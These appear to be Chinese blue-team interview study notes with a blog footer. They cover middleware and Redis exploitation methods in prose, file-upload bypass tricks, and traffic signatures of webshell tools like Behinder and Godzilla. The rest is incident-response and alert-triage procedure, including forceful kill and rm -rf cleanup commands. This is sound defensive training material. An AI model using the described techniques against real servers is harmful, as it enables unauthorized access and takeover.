(1)反序列化漏洞(就是将java对象转换为字节序列):存在于httpinvoker组件中的readonlyaccessfilter过滤器当中,该过滤器未对数据进行安全检测的情况下进行反序列化,从而导致攻击者可以在服务器上执行任意代码

(2)jboos后台管理页面存在弱口令,可以通过爆破账号密码,然后登录上传包含后门的war包,造成远程代码执行漏洞

引申问题

  • 常见的文件上传绕过手法有哪些?

文件名大小写绕过,黑名单绕过,特殊文件名绕过(bp抓包修改contet-type),.htaccess绕过(配合名单列表,上传一个自定义的.htacess) 截断绕过 前端验证绕过

.htaccess 是一个配置文件,通常用于 Apache HTTP 服务器,来控制特定目录及其子目录的访问和配置。.htaccess 文件可以包含各种指令,用于设置目录的访问权限、重写 URL、设置环境变量、启用或禁用特定的 Apache 功能等。

  • .user.ini是什么你了解吗?

.user.ini是PHP中用于配置特定目录的设置的特殊文件。它与Apache服务器中的.htaccess文件类似,但主要适用于PHP。这个文件允许用户为特定目录定义PHP配置指令,这些指令将在该目录及其所有子目录中的PHP脚本执行时生效。主要目的就是让非管理员可以自定义某些php配置选项

  • 为什么aspx木马权限比asp权限高?

aspx木马可以利用。NET框架的特性,由于.NET框架提供了更丰富的功能和更高的灵活性,ASPX木马能够访问更多的系统资源。相比之下,ASP木马主要局限于访问系统的文件和目录

  • 常见的中间件漏洞有哪些?

文件解析漏洞(apache ,iis),远程代码执行漏洞(st2) 弱口令上传war包(tomact,weblogic) 目录遍历漏洞(apache,nginx) 任意文件上传

常见Web端口模块


数据库类(扫描弱口令)

  • 1433:MSSQL

  • 1521:Oracle

  • 3306:Mysql

  • 5432:PostgreSQL

  • 443:ssl 心脏滴血

  • 873:Rsync 未授权

  • 5984:CouchDB http://xxx:5984/_utils/

  • 6379:Redis 未授权(信息泄露、反弹shell\shh公钥)

  • 7001、7002:Weblogic 默认弱口令

  • 8088:Hadoop Yarn 资源管理系统 REST API 存在未授权

  • 8161:Apache ActiveMQ 未授权、弱口令,put 文件上传,move 文件移动

  • 9200、9300:elasticsearch 命令执行

  • 11211:Memcache 未授权,telnet ip 就可以获得服务器敏感信息

  • 27017、27018:Mongodb 未授权

  • 50000:SAP 命令执行

  • 50070、50030 Hadoop 未授权访问

常用端口类(弱口令/端口爆破)

  • 21:FTP 弱口令,匿名 anonymous/空登录,以及 ms12-073
  • 25:SMTP 简单邮件传输服务器端口
  • 23:Telnet 的端口,Telnet 是一种可以远程登录并管理远程机器的服务
  • 22:ssh 端口,PcAnywhere 建立 TCP 和这一端口的连接可能是为了寻找 ssh,这一服务有许多弱点
  • 53:dns 端口
  • 139:属于 TCP 协议,是为 NetBIOS Session Service 提供的,主要提供 Windows 文件和打印机共享以及 Unix 中的 Samba 服务
  • 445:网络共享 smb 服务,尝试利用 ms08067,ms17010 等以及 IPC$ 攻击手段
  • 2601、2604:zebra 路由,默认密码 zebra

Redis数据库漏洞

(1)未授权访问漏洞:redis默认情况下会绑定在0.0.0.0:6379,如果没有采用相关的策略,如配置防火墙规则,避免其他非信任来源的IP访问,就会将Redis服务暴露在公网上。同时,Redis默认情况是空密码连接,这导致任意用户可以访问目标服务器下未授权访问Redis以及读取Redis数据(攻击者无需认证就可以访问内部数据)

利用方式:向rootu权限账户写入ssh公钥文件,直接免密登录服务器;或者写入webshell;获取整的网站的权限,或者反弹连接shell,定时任务连接反弹shell

(2)写入webshell漏洞:当Redis存在未授权访问漏洞,并且靶机开启web服务,同时知道web目录的路径,且在该路径下具有文件读写增删改查的权限。

(3)写入ssh公钥登录:利用方法:在Redis数据库中插入一条数据,将本机的公钥作为值,然后通过修改数据库的默认路径为/root/.ssh/authorized_keys,这样就可以直接用本机的私钥免密码登录被入侵的机器了

  • Redis服务漏洞利用条件有哪些?

(1)redis 服务以 root 账户运行(有.ssh目录并有写入权限)

(2)redis 无密码或弱密码进行认证(未授权)

(3)redis 监听在 0.0.0.0 公网上

  • Redis漏洞如何利用?

(1)通过Redis的Info命令可以查看服务相关的参数和敏感信息(未授权。监听在 0.0.0.0 公网上且无密码或弱密码进行认证)

(2)写入webshell(存在未授权,有web目录的写入权限,写入webshell)

(3)上传SSH公钥获得SSH登录权限

webshell流量特征

菜刀

菜刀支持php,asp,jis三种webshell三种连接,流量特征有一定的差异

1,php:有eval(php),execute(asp)函数,用于传递攻击payload,攻击载荷使用base64解码,有(base_decode(post[z0]))等字符,存在固定的字段&Z0=QGluaV9zZXQo,(用于传递payload)有z0等参数

2,JSP:第一参数为A-Q,定义操作,第二参数指定编码,例如:i=A&z0=GB2312

3,asp:通常会有execute()函数用于传递攻击payload,还会存在response.write和response.end等,用于完善整个操作

蚁剑

默认支持asp和php的webshell连接

1,php:最明显的有@ini_set("display_errors","0");,这段代码基本是所哟php类的wehbshell都有的一段代码,但是蚁剑是明文传输的;并且后面存在base64等字符,响应包结果的返回格式为{随机数+响应内容+随机数}

2,参数中大多以"_0x="这种形式

3,ASP类:execute在蚁剑中为打断混淆了,变成了Ex"&cHr(101)&“cute等形式,同时也使用了eval函数

冰蝎

冰蝎可以进行动态流量加密(密钥协商,加密传输)

(1)冰蝎2.0流量特征:
第一阶段请求中返回包状态码为200,返回内容必定是16位的密钥
请求包存在:Accept: text/html, image/gif, image/jpeg, ; q=.2, /; q=.2
建立连接后的cookie存在特征字符,所有请求 Cookie的格式都为: Cookie: PHPSESSID=; path=/;

(2)3.0特征(回答首选)
content-length长度为5720或5740(随Java版本改变)

特征分析Content-Type: application/octet-stream ;octet-stream的意思是,只能提交二进制,而且只能提交一个二进制,如果提交文件的话,只能提交一个文件,后台接收参数只能有一个,而且只能是流(或者字节数组)

每个请求包中存在:

Pragma: no-cache,Cache-Control: no-cache

Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/*;q=0.8,application/signed-exchange;v=b3;q=0.9属于弱特征(UA头的浏览器版本很老),或者说,内置16个ua头,比较老,属于n年前的浏览器产品,现在没什么人用

(3)4.0特征(常问)

  • 10个内置ua头随机选用
  • 端口为49700左右,每次连接会递增
  • PHPwebshell存在固定代码
  • 请求头和响应头字节固定
  • webshell存在默认字符串,为默认连接密码的MD5的前16位
  • Content-type: application/x-www-form-urlencoded
  • 特定的标记,如"flag=0x52415631"
  • Accept: application/json, text/javascript, /; q=0.01
  • 请求头connection为keep-alive

哥斯拉

  • 特定的标记,如"XORHEAD"和"XORBODY"
  • Cookie中有一个非常关键的特征,最后会有个分号
  • 响应体的数据有一定特征,哥斯拉会把一个32位的md5字符串按照一半拆分,分别放在base64编码的数据的前后两部分。整个响应包的结构体征为:md5前十六位+base64+md5后十六位。
  • 请求中的Accept头是Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
  • 响应头中的Cache-Control头是Cache-Control: no-store, no-cache, must-revalidate
  • 发送一段固定的payload,响应为空
  • 发送一段固定的test代码,执行结果为固定内容
  • 发送一段固定代码来获得基本信息

cobaltstrike

CS是一款渗透测试工具、分为客户端和服务端、服务端是一个、客户端可以有多个、cobaltstrike集成了端口转发、服务扫描、自动化溢出、多模式端口监听、木马生成、office宏病毒生成、钓鱼攻击等

步骤就是:启动服务端、然后启动客户端获得一个可视化界面、新建监听来接受会话、生成木马文件、上传到受害主机、当受害者运行木马文件的时候CS上线

安全设备模块

IPS(入侵防御系统)

对该设备的网络流量进行分析监控,发现攻击行为之后就会进行计时的拦截、中断、调整和隔离。IPS是防火墙的重要补充,如果是防火墙是第一道防线,IPS就是第二道防线。

IDS(入侵检测系统)

按照一定的防护措施;监视记录网络中的各种攻击企图。特点就是记录,不会对攻击行为进行拦截,

蜜罐

诱饵机,对攻击方的攻击行为进行捕捉和分析,了解攻击方使用的工具和方法,提高系统的安全防护能力

(1)低交互蜜罐最大的特点就是模拟,它的服务都是模拟的行为,数据不够真实。

(2)中交互蜜罐是对真正的操作系统的各种行为的模拟,它提供了更多的交互信息,同时也可以从攻击者的行为中获取更多的信息

(3)高交互蜜罐具有一个真实的操作系统,更加仿真。模拟的场景越来越真实,数据越来越真实。

WAF

web应用防火墙,专门针对与HTTP和https请求进行分析和拦截,确保其合法性和安全性,对非法的请求进行拦截和过滤(软WAF和硬WAF,一个基于软件,一个基于硬件)

分为嵌入性和非嵌入型:非嵌入型指的是硬WAF、云WAF等、其嵌入型的值得是web容器模块类型的WAF

日志审计系统

实时不间断的采集用户网络中的不同厂商的安全设备、网路设备、主机等各种应用系统产生的日志信息,并将这些信息汇集到审计中心、进行集中化存储、备份、查询、审计、告警等等

堡垒机

针对内部运维人员的运维安全审计系统、主要就是对运维人员的操作进行审计和权限控制、同时堡垒机还有账号集中管理、单点登录等功能

应急响应模块

应急响应流程

1、准备工作,收集信息:收集告警信息、客户反馈信息、设备主机信息等。
2、检测,判断类型:安全事件类型的判断(钓鱼邮件,webshell,爆破,中毒等)
3、抑制,控制范围,隔离失陷设备
4、根除,分析研判,将收集的信息分析
5、恢复,处置事件类型(进程、文件、邮件、启动项,注册表等)
6、输出报告

Windows处理入侵与应急响应

(1)检查账号安全,使用lusrmgr.msc来查看和管理用户账号,检查是否有隐藏或者克隆账号,这些可能是入侵者为了维持权限而设置的,结合日志来看是否有远程连接记录

(2)检查异常网络端口,进程,使用netstat -ano命令查看网络连接,查找位置的连接 ,通过tasklist命令结合PID定位运行中的进程,查找与之相关的子进程,利用安全工具D盾,火剑绒(一键查看注册表信息)等工具来分析进程的行为,识别可疑的进行程

(3)检查自启动项:使用msconfig来查看启动项,删除任何位置或可疑的启动项目,检查定时任务等等

(4)检查注册表信息,使用regedit命令来检查注册表中有没有添加恶意的启动项或者恶意的键值(可以用火剑绒进行排查)

(5)检查系统补丁,使用systeminfo命令来查看系统的补丁安装情况,确保系统是最新的,以减少已知的漏洞风险

(6)日志分析:通过eventvwr.msc打开时间查看器,分析系统,安全和应用程序的日志,查找可能存在的异常活动,4624账号登录成功,4625账号登录失败、4672使用超级管理元进行登录、4720创建用户

(7)可以文件的排查:看tmp目录中是否存在异常文件

linux处理入侵与应急响应

(1)检查用户信息,查看/etc/passwd /etc/shadow文件,看看是否有特权用户或者未知的账户

(2)使用history命令查看之前执行过的命令,看看有没有未授权的活动

(3)查看登录用户,使用W命令来查看当前登录的用户,注意区分本地和远程登录

(4)检查网络连接:使用netstat -natlp命令查看所有的网络连接以及监听的端口

(5)查找可疑的进程:通过ps -aux命令列出所有的进程,结合PID使用grep来搜索特定的进程

(6)如果发现可疑进程的话,可以通过kill -9命令来强制结束

(7)检查定时任务:使用crontab -i 命令列出当前用户的定时任务,检查是否有恶意的定时任务,然后通过crontab -e命令删除恶意定时任务

(8)日志排查,/var/log,

webshell应急

windows

(1)首先就是关闭网站、下线服务、有必要的化将服务器进行隔离;

(2)手工结合工具进行检测;工具方面比如webshell扫描工具(D盾,河马,百度在线webshell查杀)对系统部署目录进行扫描,如果在护网期间可以将样本进行备份之后在进行查杀,手工的话就是和备份文件进行对比吧

(3)加强安全策略,比如定期备份网站配置文件,及时安装服务器补丁、定时更新组件以及安全防护软件,定期修改密码等措施

linux

(1)首先进行断网隔离,在网站根目录通过河马或者D盾工具扫描一下,看看能不能扫描出webshell

(2)查看网站的web日志,使用webshell可能会在网站的web日志中留下页面的访问数据和数据提交记录;主要特征是少量 ip 对其发起访问,总的访问次数少,该页面属于孤立页面

(3)看一下相关设备的告警,看下webshell的名字和路径,然后通过find命令查找然后分析,如果是webshell的话,使用rm-rf命令删除

(4)利用findgrep等命令搜索可疑文件,特别是具有执行权限的文件。检查文件的修改时间和内容,寻找异常。

HW应急

(1)首先封堵攻击IP,事件处置组人员根据攻击事件通过信息或者报告,封堵源IP;

(2)事件处置组人员根据攻击事件报告,处置安全事件,处置方式包括:安全设备策略调整、系统下线、服务器排查、应用排查、加固整改、系统上线

(3)上报安全事件,上报接口人根据攻击行为报告和处置报告,对攻击事件、威胁处置上报演习系统上报平台。

挂马应急

(1)隔离和监控:首先就是隔离服务器,防止恶意代码进一步传播,然后通过全流量设备观察是否有后续的非正常的访问,以便于及时阻断潜在的恶意行为

(2)取证与分析:在全流量设备上查找并记录被访问的路径和文件名,便于后续的清理和修复工作,然后登录到服务器,对当前系统进行备份,放防止在后续的清理过程中造成文件丢失,

具体的分析:仔细检查网站文件,/tmp等敏感目录,这些目录经常被用于存放临时文件和后门程序

(3)处理:使用专业的安全软件或者扫描工具进行全盘扫描,受经济分析日志系统,中间件日志以及waf日志等,确定攻击者的行为模式,等等

(4)恢复:快照恢复,确定入侵方法(漏洞检测并进行修复)

(5)溯源:溯源,查入侵IP,入侵手法(网路攻击事件)的确定等

(6)记录、归档,预防-事件检测-抑制-根除-恢复-跟踪-记录通用漏洞的应对等其他 安全应急事件

挖矿应急

Linux挖矿怎么处理?

特征:CPU占用率接近100%并高居不下,或CPU占用过高操作迟缓,可以判定为挖矿

处理流程:

(1)使用top命令查看高资源消耗进程,快速找到CPU占用率高的进程的PID

(2)根据PID,通过ps -ef -p PID命令查看进程的详细信息:启动命令,启动用户,进程状态

(3)定位进程相关的文件:从进程的详细信息中,通常可以找到与该进程相关的文件路径或命令参数

(4)停止相关的服务:通过systemctl stop xxx.sevice命令产生过hi停止

(5)强制结束进程,通过kill -9 PID命令来强制结束

(6)查找并删除恶意文件,使用find / -name找到恶意文件的位置,然后通过rm -rf命令删除

(7)挖矿病毒可能会设置定时任务以确保自己能够持续运行,使用crontab -I命令来检查当前用户的定时任,并使用crontab -e命令删除恶意的定时任务

Windows挖矿怎么处理?

(1)查看资源占用,通过任务管理器,我们可以看大哪些进程占用了大量的CPU资源,并记录PID,netstat -ano

(2)定位进程文件,在任务管理器中的详细信息一栏中根据PID找到对应的程序,并右键选择打开文件所在的位置来确定挖矿程序存放的位置

(3)在任务管理器中直接结束恶意的进程(或者使用taskill /t/pid pid号杀死进程),删除对应的文件,有必要的时候可以先备份在删除

(4)通过schtasks/query命令来查看当前所有的定时任务,并通过schtasks/delete命令来删除与挖矿病毒相关的恶意的定时任务

(5)看看是否还存在可疑用户、后门、检查注册表中是否有残余、检查系统的自启动项目

(6)最后一步就是写检查报告

勒索病毒应急

(1)首先了解现状,了解发病时间和系统架构,并且确认被感染的主机

(2)然后先进行临时处置,对被感染的主机进行网络隔离,禁止使用移动存储设备,对未感染的主机进行ACL 隔离,关闭 SSH(linux的远控)、RDP(windows的远控)等协议,也不能使用移动存储设备

(3)获取样本,windows 系统进行文件排查、进程排查、系统信息排查、系统日志排查;linux 系统排查文件、进程、日志

(4)进行进一步的处置,对已经感染的主机进行断网隔离,等待解密进展,最后重装系统。对未感染的主机进行补丁修复,还可以使用安全软件进行防护并及时更新病毒库/规则库 (5)最后是防御,定期打补丁、部署杀软、 对口令策略进行加固,部署流量检测设备

蠕虫病毒应急

(1)蠕虫病毒介绍:蠕虫病毒是一种自包含的程序,通常通过网络途径传播,每入侵到一台新的计算机,它就在这台计算机上复制自己,并自动执行它自身的程序;(典型的蠕虫病毒有:熊猫烧香病毒 、冲击波/震荡波病毒、conficker病毒等)

(2)发生场景: 在出口防火墙发现内网服务器不断向境外IP发起主动连接,内网环境无法连通外网的情况

(3)应急响应:

先在出口防火墙看一下服务器内网IP,先将中病毒的主机从内网断开,然后登录该服务器,打开D盾_web查杀查看一下端口连接情况,(一般)可以发现本地在大量地向外网IP发起主动连接

通过端口异常,去跟踪进程ID,可以找到引起异常服务主进程(在向大量远程IP的端口发送请求);一般就是可以断定感染了病毒。

之后用用卡巴斯基病毒查杀工具,对全盘文件进行查杀,由此发现一些异常文件。使用一些多引擎在线病毒网站扫描异常文件,确认服务器感染了哪种蠕虫病毒。之后下载对应的蠕虫专杀工具对服务器进行清查,成功清除病毒。

预防:

1、安装杀毒软件,定期全盘扫描

2、不使用来历不明的软件,不随意接入未经查杀的U盘

3、定期对windows系统漏洞进行修复,不给病毒可乘之机

4、做好重要文件的备份,备份,备份

系统入侵排查

(1)已经被入侵
一、目的已经达成,木马,后门均已销毁
1.既然知道被入侵,定位被入侵的时间点
2.如果这个服务器是云服务器,对其进行快照。(目的,封存内存。)
3.当定位到时间点,查设备流量信息。找到木马链接信息
4.查找系统内对应的日志,找到相关线索
5.如果日志被删除,因为机器快照已经建立。使用Winhex对硬盘数据进行恢复

二、目的没有达成,数据正在回传。木马,后门均在服务器上运行
1.下线服务器,封禁攻击IP
2.Volatility 内存取证 建立快照 提取内存定位到shellcode找到他的IP
3.如果他们使用常见的C2的工具,我们可以根据流量分析出入侵者的意图
4.关闭服务器,或者在防火墙上禁掉他们的IP。登录服务器,对shellcode进行移除
5.重启以后进入安全模式,排查注册表 计划任务 服务 放大镜后门 shift后门
(2)正在被入侵
可能入侵者在尝试进行攻击的时候,下线,然后对机器进行排查
比如:弱口令爆破
1.弱口令爆破会产生日志,日志一定要采用远程日志系统,例如Linux的rsyslog。开启远程日志系统的好处:不怕日志被攻击者删除
2.一定要找到入侵者的源IP,在防火墙下发阻断策略

样本降噪

  1. 样本降噪,看200,看hw前有没有出现过,看是不是内部ip,是不是背景流量
  2. 看连接行为,看是否有外连,是主动外连还是外连内
  3. 看流量,看有没有奇怪的流量包,看有没有危险内容或函数(关键字检测、异常请求、行为分析)
  4. 使用安全设备筛选出危害相对较大的告警
  5. 看攻击频次高不高

Java内存马

  • 内存马是无文件马,利用请求过程,在内存中修改已有的组件或动态注册一个新的组件,插入恶意的shellcode(用于攻击的机器码),
  • 而Java类型中,为了确保内存马在各种环境中都可以访问,filter匹配优先级需要调到最高,
  • 所以比较常用filter型内存马
    • 其他类型也不少,Javaagent型,servlet型,listener型,拦截器型,控制器型

特征

  1. (较弱特征)为了确保内存马在各种环境下都可以访问,需要把filter匹配的优先级调至最高

  2. (较强特征)内存马的Filter是动态注册的,所以在web.xml中肯定没有配置

  3. (强特征)特殊的classloader加载(就是没有对应的class文件)。Filter也是class,也是必定有特定的classloader加载。一般来说,正常的Filter都是由中间件的WebappClassLoader加载的。反序列化漏洞喜欢利用TemplateImpl和bcel执行任意代码。所以这些class往往就是以下这两个

    这个特征是一个特别可疑的点了。当然了,有的内存马还是比较狡猾的,它会注入class到当前线程中,然后实例化注入内存马。这个时候内存马就有可能不是上面两个classloader

查杀思路

  • 利用脚本检查是否有特殊的classloader加载,反序列化漏洞常用templateimpl和bcel进行代码执行
  • 利用脚本检查对应的classloader路径下有没有class文件
  • 利用脚本反编译内存中filter的class,看是否有getruntime/invoke等恶意代码
  • 从jvm中将所有类反编译出来对比有没有修改
  • 清除(覆盖)内存马中的filter的恶意代码或模拟中间件注销filter,重启服务

PHP内存马

php内存马的流程

  1. 将携带循环生成木马的命令脚本上传至目标服务器
  2. 删除文件本身
  3. 让其以隐藏文件的方式,死循环创建文件,并向文件中写入木马

查杀php内存马

  • 重启php服务器,(service apache2 restart)
  • 强行kill 后台进程 ps aux | grep www-data | awk '{print $2}' | xargs kill -9
    • 这个命令用于杀死包含特定单词的所有进程。命令“ps aux”列出了系统上运行的所有进程。然后将输出管道到“grep”,该命令过滤包含单词“www-data”的进程。然后将“grep”的输出管道到“awk”,该命令打印输出的第二列(即进程ID)。最后,“xargs”读取“awk”的输出并将其作为参数传递给“kill”命令。使用“-9”选项强制杀死进程。
  • while循环写脚本 while : ;do rm -rf xxx; done
  • 建立一个和不死马相同名字的文件或者目录,不断竞争写入一个和不死马同名的文件

威胁情报平台

微步、奇安信、360、绿盟、安恒等

IP溯源思路

  1. 恶意ip放微步,会自动进行域名反查
  2. 如果ip为傀儡机、代理机,放弃
  3. 不是的话先判断cdn,使用超级ping、dns解析记录等方式,确定目标主机
  4. 重复步骤1,或使用nslookup也能查到具体域名
  5. 有域名查域名的whois信息,丢社工库进一步查询,没域名查是否有web服务
  6. 无论有无域名,有web服务就反打查信息

SQL告警受否为误报

  1. 看响应码是否为200,如果是404,302就大概率误报了
  2. 查看攻击IP第一次攻击时间,判断是不是背景流量
  3. 查看攻击IP是不是内部IP,如果是内部IP大概率是误报,因为打入设备后没必要做SQL注入,而且是内部IP的话更有可能是正常业务
  4. 如果不是就再去看具体流量,看看有无相关攻击载荷特征(看请求包中是否有常见的sql字段),响应体是否有数据库敏感信息(比如数据库名,用户名)
  5. 看攻击流量是否非常有针对性,因为正常的SQL注入成功前一定需要进行渗透测试的
  6. 看攻击频次,SQL注入前期一般需要大量的测试

天眼设备

天眼检索语法

(1)天眼日志检索常用语法

ⅰ. dip 被攻击的 ip

ⅱ. dport 被攻击的端口

ⅲ. sip 源ip

ⅳ. sport:源端口

ⅴ. uri 请求的 url 地址

ⅵ. data 请求包的正文内容

30361 字ⅶ. status 响应包的状态码

ⅷ. host 域名

ⅸ. 运算符 AND(AND 或&&或+) OR(O R 或||) NOT(NOT

(2)DNS协议中的dns type字段的含义为:0表示DNS请求,1表示DNS响应,dns_type中的adr代表该host对用的IP地址

(3)天眼可以捕捉到远程cmd命令

(4)天眼告警有哪些类型:成功,失败,企图,失陷

(5)内网横向的告警类型:CS相关告警,隧道类告警

(6)判断资产失陷:受害资产不断对外联恶意地址,受害资产有shell连接或者隧道类告警

(7)IOC表示匹配成功的威胁情报;反映的是主机或网络失陷的特征信息,包括入侵工具、恶意软件和攻击者的属性

(8)指定端口sport eq 80

将两个端口连接在一起:sport eq 80 OR sport eq 445

(9)114.114.114.114是DNS服务器的转发地址,默认端口号为53

天眼的组成

(1)天眼的组成

①流量传感器(探针)②文件威胁鉴定 器(沙箱)

③分析平台④威胁情报

(2) 天眼菜单界面

流量传感器:状态监听,威胁告警,规则配置,策略配置,系统配置

分析平台:威胁感知-告警列表,分析中心-日志检索

(3)天眼四大模块的功能

天眼分析平台用于存储传感器提交的流量日志,告警日志以及文件威胁鉴定器提交的告警日志

流量传感器::流量采集(WEB入侵检测、webshell上传检测、基于规则的网络入侵检测、基于人工只能的威胁情报检测);将告警信息加密传输给天眼分析平台

天眼威胁鉴定器:静态检测(云查杀、AVM引擎、QVM引擎)

(4)天眼流量传感器和分析平台的联动

(1)首先就是配置流量传感器:登录控制台,默认地址为192.168.0.1,然后配置接口”etho直连口“ “eth1远程管理端口”,然后配置默认路由以及DNS,配置SNMP,在探针中联动分析平台(联动分析平台地址为1.1.1.2/7755)

(2)配置分析平台:登录控制台(默认账号为tapadmin);然后配置联动接口eth1和直连口eth0,配置默认路由以及DNS和SNMP,在分析平台联动探针(探针地址为1.1.1.1);并且新增采集设备

(3)部署完成之后;检查传感器和分析平台的联动情况;检查设备是否连接正常;注意数据的传输加密是否一致;如果不一致会导致设备出现异常

研判思路

1.首先对攻击的来源进行判断,是内对内,外对内还是内对外的情况。

2.依据设备的告警信息结合具体情况来分析攻击行为的类型,比如说告警SQL注入攻击,那我们就去查看一下请求数据包里面是否有单引号,SELECT等敏感字符,返回数据包里面是否有SQL语法报错等信息,有的话就可以初步判断该攻击行为是SQL注入攻击。

3.然后就是根据攻击特征来分析攻击行为使用了什么技术或者说工具,比如说攻击的频率,数据包的信息等等。比如说在使用AWVS或者APPSCAN等工具在扫描的时候,很有可能在请求数据包的user-agent里面就有相关的信息。同样结合告警信息和具体情况来判断攻击行为的危害程度,比如说检测到多条攻击成功告警和内对内及内对外攻击告警,这个时候就需要尽快的交给应急组了。

4.结合设备告警信息及具体情况分析攻击意图,比如说攻击者的目标是主站还是旁站,是主机还是域控,不同的攻击意图对于后续的处理也不同。

5.最后根据我们掌握的信息采取相应的处置方式,比如说告警信息是误报,说明设备需要策略优化,不需要处置。告警信息是尝试攻击,暂时对资产没有影响,就需要后续持续关注,攻击成功时能够做到及时上报。如果告警确认不是误报,并且攻击成功时,我们就需要迅速上报及时采取应急响应。

研判,判断告警是真是假。

通过设备的告警信息,流量特征(攻击特征),去查看数据包里面(请求包、请求体、返回包、返回体),是否存在相应的攻击特征,如果不包含攻击载荷,为误报

以攻击IP为索引,去查看(护网开始-现在),是否有其它攻击行为。

查看攻击方向:内对内、内对外、外对内。内对内的话误报率较大,但也要看具体的流量,最好上机排查。

本地复现:不用客户的网络去访问,可以用其他的网络,比如手机热点

设备误报

来自外网的误报说明安全设备需要进行策略的审计,不需要处置、如果来自内网的误报可以和负责人协商一下看能不能解决,有必要的需要添加白名单

信息泄露告警

就是看告警详情,看看有没有明显的文件泄露的特征,比如1.zip .svn

弱口令告警

看请求体中是否出现明显的usename=xxx password=xxx等明显字段,根据服务器的响应信息进行具体的判断,服务器可能会出现success等回显信息

tomact弱口令

通常会在authorization字段出现base64编码的字段,通过解码小工具进行解码操作,可能会出现tomact常见的弱口令密码组,例如tomcat :tomcat

xss告警

一般就是看告警详细,看请求包中是否有明显的插入js脚本的代码,判断是否攻击成功的方法:可以将响应体中的内容放到html文件中打开,看看是否有弹窗等相关的回显信息

SQL注入告警

根据请求包和响应包对比进行判断注入是否成功,如果成功直接上报研判,如果没有成功,但是一直在尝试攻击,我们也可以上报研判,进行封禁IP,流量特征:请求报文中有特殊的sql字符,比如 and or id=1 selecct union updatexml,响应包中有一些sql回显,就比如一些错误的回显或者登录成功的回显,首先判断告警是否有效,如果有效的话,就直接上报个研判组就可以解决

文件上传告警

根据请求包和响应包进行对比判断。首先看下状态码404的状态码告警可以首先筛掉,着重看下响应包状态码是200和302的状态码的。然后看下请求包内文件名是否是恶意脚本文件名称(请求体里可能有一句话木马),请求包正文内容是否包含恶意脚本内容,还有就是观察下响应包内容,成功的话就直接上报就行

文件包含告警

首先看请求头中是否有明显的目录穿越代码,比如../../,然后就是根据响应体中有没有明显的文件路径

Webshell告警

根据流量进行一个初步的判断,看看是否有这些webshell工具的流量特征

命令执行告警

主要判断请求包中是否有系统执行命令,比如echo,print,whoami函数等等,然后看响应包中是否有相关的命令执行结果,如果有就基本可疑确定是攻击成功了

内网挖矿告警

大部分内网挖矿告警,木马病毒都是基于情报的告警,误报率很大,很有可能是因为内部员工使用大量盗版软件以及盗版系统导致,因此无法准确判断。但是护网期间此类告警需要谨慎处理,不放过任意一条告警,所以我会将此类告警上报到研判人员处,由研判人员再进行进一步的验证。判断: ①查看 CPU 占用率②查看天眼的流量分析,是否去别的有危险的网站下载东 西,然后在本地执行了挖矿的一些命令 ③是否有外连,向远程 IP 请求 分析①登陆网站服务器,查看进程是否有异 常②查看异常进程是什么,选择可疑的 服务项,停止服务,启动类型改为静止 ③查看计划任务有没有可疑的 临时解决方案 ①停用并禁止可疑的服务项目,有时候服务项的名称会变,但描述不会变,根 据描述找到服务项并删除 ②根据实际木马的路径,删除木马 ③重启计算机④ 使用杀毒软件进行全盘查杀

椒图设备

1、在椒图平台日志分析中result字段表示的含义是?

答:拦截结果;0表示已拦截,1表示未拦截。

2、在椒图平台中如何配置针对服务器非白名单账号和登录IP的监控?

答:通过威胁检测—异常登录—违规登录—登录规则设置,添加白名单账户和IP。

3、在椒图平台下发web类安全策略需要使用哪个功能?

答:安全防护—功能设置

4、在椒图平台日志分析中P字段是攻击者IP还是受害者IP呢?

答:攻击者IP

5、告警分析中,payload大概在什么位置?

答:通常在请求包中的请求头url中,post数据包也可能存在。

6、什么告警不难很快分析出来?

答:部分sql注入因为无明显回显,所以不能很快的分析出来。

7、分析中心有什么日志?

答:告警日志、原始日志、终端日志。

8、Referer字段是什么?

答:Referer是HTTP请i求header中的一部分,当浏览器向web服务器发送请求时,头信息里包含Referer字段。

9、如何确定web攻击是真实攻击还是误报攻击,从多角度回答,举例说明?

答:真实攻击查看请求报文和响应报文。比如:sql注入,特殊字符,比如and、or、union、select,再查看响应码为200,且出现success等字样。

10、.护网期间,如果客户的流量特别大,面对很多条告警应该去首先关注筛选哪些的告警?

答:1、 遇着这种情况一方面优先分析成功告警的,再分析成功之外的其他高危告警,如webshell、命令执行、shell连接等。最后分析剩余告警, 同时对于攻击频率较高的攻击ip及时上报封禁,可有效减少告警量。

经验问题

(1)自我介绍
您好,我叫XXX,毕业于某某大学,专业是某某某,有一定的hww经验。参加过相关的网络攻防演习,在演习中我的主要职责是xxxxxxx。我熟练掌握了各种网络安全工具和技术,如防火墙配置、入侵检测系统(IDS)和入侵防御系统(IPS)的部署,以及常见的网络安全漏洞的利用和防范措施。
(2)初级监控流程
每天的流量告警检测以及初步的流量分析,一般护网组成为监控组,研判组,处置组,应急响应组,溯源反制组,专家组:一般就是监控组将监控到的恶意攻击流量上报到研判组,研判组对上报上来的流量进行分析以后确定此流量是攻击流量以后,再转给处置组,处置组将此恶意ip进行封禁;如果是有攻击成功的事件,研判组需要同步到溯源反制组和应急响应组,溯源反制组和研判组的人员对该事件进行溯源,应急响应组的对该机器进行应急响应

标签:文件,漏洞,攻击,蓝队,用户,恶意,面试,初级,攻击者
From: https://www.cnblogs.com/gsupl/p/18293863

相关文章

  • 面试官:Dubbo一次RPC调用会经过哪些环节?
    大家好,我是三友~~今天继续探秘系列,扒一扒一次RPC请求在Dubbo中经历的核心流程。本文是基于Dubbo3.x版本进行讲解一个简单的Demo这里还是老样子,为了保证文章的完整性和连贯性,方便那些没有使用过的小伙伴更加容易接受文章的内容,这里快速讲一讲Dubbo一个简单的Demo如果你已经......
  • 【面试数据岗必知必会——sql中的行转列、列转行与json函数】
    面试数据岗必知必会——SQL中的行转列、列转行与JSON函数导言:在数据科学和数据分析领域,SQL(StructuredQueryLanguage)是处理和管理关系型数据库的标准语言。掌握SQL的高级技巧,如行转列(Pivot)、列转行(Unpivot)以及JSON函数,能显著提升你在面试中的竞争力,并在实际工作中更加......
  • HIVE面试题
    HIVE优化:场景1.分组聚合groupby导致数据倾斜--map端聚合:aggr=true会在mapper端先groupby一次,最后再把结果merge起来,为了减少reducer处理的数据量指令:Sethive.groupby.mapaggr.checkinterval=1000000Sethive.map.aggr=truesethive.groupby.skewindata=true;......
  • Linux中各种重要命令-面试专用
